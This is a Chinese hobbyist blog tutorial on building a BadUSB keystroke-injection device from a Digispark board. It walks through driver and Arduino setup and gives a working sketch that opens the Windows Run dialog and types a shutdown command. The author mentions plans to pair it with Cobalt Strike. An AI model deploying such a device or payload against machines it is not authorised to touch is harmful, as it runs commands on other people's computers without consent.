Digispark制作BadUSB

目录

开发环境

Digispark开发板
Arduino
Digistump.Drivers
**

Digispark开发板

首先我们需要一块Digispark板,我这次是上天猫买的

img

购买链接(没有打广告)

Image [1]

Digistump.Drivers环境安装

然后安装开发环境: Arduino IDE和Digistump.Drivers

百度链接(提取码:qg3u )
首先来安装 Digistump.Drivers,解压完后打开DPinst64.exe(32位系统请安装DPinst.exe),默认安装就行

Image [2]

安装完后会提示可以使用了

Image [3]

Arduino IDE安装

然后接着是Arduino IDE,打开后点击文件->首选项->添加开发板管理器网址
加入:http://digistump.com/package_digistump_index.json

Image [4]

添加完后,我们去安装Digistump AVR Boards(需要**),工具->开发板->开发板管理器

Image [5]

没用**就会出现下载时出错
如果有**还是显示error可以去官网安装其他版本的Arduino IDE

Image [6]

​ 搜索Digistump,安装Digistump AVR Boards(安装位置在红框处,此处为已安装)

Image [7]

点击工具->开发板->Digistump VAR Boards->Digispark(Default 16.5mhz)

Image [8]

编写代码

到了此处,我们可以来编写代码了,我这边实现的是shutdown的功能
可以参考一下官方

Image [9]

#include "DigiKeyboard.h"
void setup() {
  // put your setup code here, to run once:
  
  DigiKeyboard.delay(300);  
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);

  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_CONTROL_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.println("shutdown -s -t 10");
}

void loop() {
  // put your main code here, to run repeatedly:

}

按键参考:

#define MOD_CONTROL_LEFT    (1<<0)
#define MOD_SHIFT_LEFT      (1<<1)
#define MOD_ALT_LEFT        (1<<2)
#define MOD_GUI_LEFT        (1<<3)
#define MOD_CONTROL_RIGHT   (1<<4)
#define MOD_SHIFT_RIGHT     (1<<5)
#define MOD_ALT_RIGHT       (1<<6)
#define MOD_GUI_RIGHT       (1<<7)

#define KEY_A       4
#define KEY_B       5
#define KEY_C       6
#define KEY_D       7
#define KEY_E       8
#define KEY_F       9
#define KEY_G       10
#define KEY_H       11
#define KEY_I       12
#define KEY_J       13
#define KEY_K       14
#define KEY_L       15
#define KEY_M       16
#define KEY_N       17
#define KEY_O       18
#define KEY_P       19
#define KEY_Q       20
#define KEY_R       21
#define KEY_S       22
#define KEY_T       23
#define KEY_U       24
#define KEY_V       25
#define KEY_W       26
#define KEY_X       27
#define KEY_Y       28
#define KEY_Z       29
#define KEY_1       30
#define KEY_2       31
#define KEY_3       32
#define KEY_4       33
#define KEY_5       34
#define KEY_6       35
#define KEY_7       36
#define KEY_8       37
#define KEY_9       38
#define KEY_0       39

#define KEY_ENTER   40

#define KEY_SPACE   44

#define KEY_F1      58
#define KEY_F2      59
#define KEY_F3      60
#define KEY_F4      61
#define KEY_F5      62
#define KEY_F6      63
#define KEY_F7      64
#define KEY_F8      65
#define KEY_F9      66
#define KEY_F10     67
#define KEY_F11     68
#define KEY_F12     69

#define KEY_ARROW_UP        82
#define KEY_ARROW_DOWN      81
#define KEY_ARROW_LEFT      80
#define KEY_ARROW_RIGHT     79

编译成功

Image [14]

上传成功,Arduino提示我们需要在60秒内插入开发板(如果之前就插着就再拔一次)

Image [14]

写入成功会提示running:100% complete

Image [15]

测试:

image-20210131200001481

(效果很强劲,刚把自己打关机了
下次打算结合CS做看看

参考:

https://blog.csdn.net/qq_36374896/article/details/107108016
https://github.com/digistump/DigistumpArduino

posted @ 2021-01-31 20:23  宫小见  阅读(1123)  评论(0)    收藏  举报